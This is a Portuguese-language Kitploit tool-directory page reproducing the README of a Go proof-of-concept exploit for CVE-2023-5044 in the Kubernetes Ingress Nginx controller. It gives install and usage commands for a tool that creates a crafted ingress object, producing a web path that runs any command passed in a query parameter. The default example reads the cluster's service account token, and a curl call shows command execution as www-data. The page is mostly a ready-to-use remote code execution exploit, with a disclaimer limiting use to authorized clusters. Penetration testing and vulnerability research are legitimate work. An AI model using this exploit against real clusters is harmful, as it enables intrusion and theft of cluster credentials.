Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2023-5044 — Exploit de prova de conceito baseado em Go para CVE-2023-5044 no Ingress Nginx, automatizando a execução remota de código através de objetos ingress manipulados em clusters Kubernetes. | Kitploit
Ferramentas/GitHubGitHub/4armed/cve-2023-5044
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança na NuvemComando e ControleRed Teaming
GitHub4armed/cve-2023-5044

cve-2023-5044

Exploit de prova de conceito baseado em Go para CVE-2023-5044 no Ingress Nginx, automatizando a execução remota de código através de objetos ingress manipulados em clusters Kubernetes.

21há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2023-5044 Prova de Conceito de Exploração do Ingress Nginx

Este é um programa Go rápido para explorar o recente CVE no controlador Ingress Nginx.

Detalhes sobre como fazer isso já estão disponíveis no blog de Rory McCune em https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, este apenas automatiza um pouco o processo e arruma o exploit para que seja um payload de execução remota de código mais flexível e genérico.

Instalação

root@kitploit:~
% go install github.com/4armed/cve-2023-5044@latest

Cluster de Teste

Você precisará de um cluster para executá-lo, rodando uma versão vulnerável do ingress-nginx (obviamente). Se não tiver um contra o qual testar, pode criar um cluster Kind clonando este repositório e usando o Makefile na pasta deploy.

root@kitploit:~
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up

Se você deixar o arquivo kind.yaml como está, terá um cluster vinculado ao seu localhost nas portas 30080 e 30443.

Uso

root@kitploit:~
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"

A linha "checking permissions" é porque a ferramenta realiza uma Revisão de Acesso do Sujeito (Subject Access Review) para verificar se você tem permissões para criar um ingress. Se não tiver, ela sairá nesse ponto. Se você tiver acesso de edição a um ingress existente, certamente pode usar o exploit para obter comprometimento, mas é muito complexo automatizar a atualização de um ingress existente sem quebrar algo.

O caminho padrão para acionar o exploit é /4armed e ele lê e executa o valor do parâmetro de string de consulta cmd.

Ele exibirá um URL de exemplo com o comando padrão cat /var/run/secrets/kubernetes.io/serviceaccount/token. Você pode alterar isso com a flag -e ou simplesmente fornecer um valor diferente no parâmetro cmd. O exploit não é codificado. Você não precisa implantar um novo ingress.

root@kitploit:~
%  curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)

O nome do objeto ingress é aleatorizado usando GenerateName, portanto preste atenção na saída e limpe depois.

root@kitploit:~
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted

Se você quiser apenas gerar o objeto ingress, use:

root@kitploit:~
% cve-2023-5044 generate

Aviso Legal

Isso é apenas para fins de teste em um cluster para o qual você possui autorização. Se você usar contra um cluster, tenha permissão ou não, o autor não aceita qualquer responsabilidade por danos ou problemas causados. Todo cuidado foi tomado para escolher valores de caminho que não conflitem com os existentes; você pode substituí-los com flags ou alterar o código se necessário, mas ainda assim pode quebrar algo. Certifique-se de saber o que está fazendo.

Baixar ferramenta